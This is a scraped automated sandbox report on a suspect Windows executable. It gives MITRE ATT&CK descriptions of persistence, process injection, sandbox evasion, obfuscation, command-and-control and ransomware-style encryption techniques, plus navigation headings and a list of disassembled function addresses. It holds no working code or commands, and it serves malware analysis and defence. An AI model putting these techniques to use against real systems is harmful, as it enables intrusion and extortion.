Reputation:	low

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SPXp2YHDFz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Boot Survival

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: SPXp2YHDFz.exePID: 5820, Parent PID: 3452

General

Chronological Activities

Analysis Process: conhost.exePID: 5796, Parent PID: 5820

Windows Analysis Report
SPXp2YHDFz.exe

Function 00007FF79BAA272C Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 80
libraryCOMMON

Function 00007FF79BAA8738 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 157
encryptionCOMMON

Function 00007FF79BAA1024 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24
encryptionlibraryCOMMON

Function 00007FF79BAA4314 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
networkCOMMON

Function 00007FF79BAA1160 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 154
COMMON

Function 00007FF79BAA41AC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86
networkCOMMON

Function 00007FF79BAA13B4 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 164
registryCOMMON

Function 00007FF79BAA81A4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 153
COMMON

Function 00007FF79BAA22AC Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Function 00007FF79BAA2F5C Relevance: 4.6, APIs: 3, Instructions: 52
COMMON

Function 00007FF79BAA4084 Relevance: 3.0, APIs: 2, Instructions: 30
networkCOMMON

Function 00007FF79BAA20A4 Relevance: 2.5, APIs: 2, Instructions: 34
COMMON

Function 00007FF79BAA2C6C Relevance: 1.6, APIs: 1, Instructions: 81
fileCOMMON

Function 00007FF79BAA2218 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Function 00007FF79BAA3034 Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Function 00007FF79BAA1D58 Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Function 00007FF79BAA2024 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Function 00007FF79BAA56B4 Relevance: 19.8, APIs: 4, Strings: 9, Instructions: 333
COMMONCrypto

Function 00007FF79BAA64C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 133
encryptionCOMMON

Function 00007FF79BAA8EE0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 170
encryptionCOMMON

Function 00007FF79BAAE7D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
encryptionCOMMON

Function 00007FF79BAAA54C Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 207
COMMONCrypto

Function 00007FF79BAA1720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
threadtimeCOMMON

Function 00007FF79BAA2A90 Relevance: 3.9, APIs: 3, Instructions: 108
COMMONCrypto

Function 00007FF79BAABCD8 Relevance: 3.1, APIs: 2, Instructions: 53
encryptionCOMMON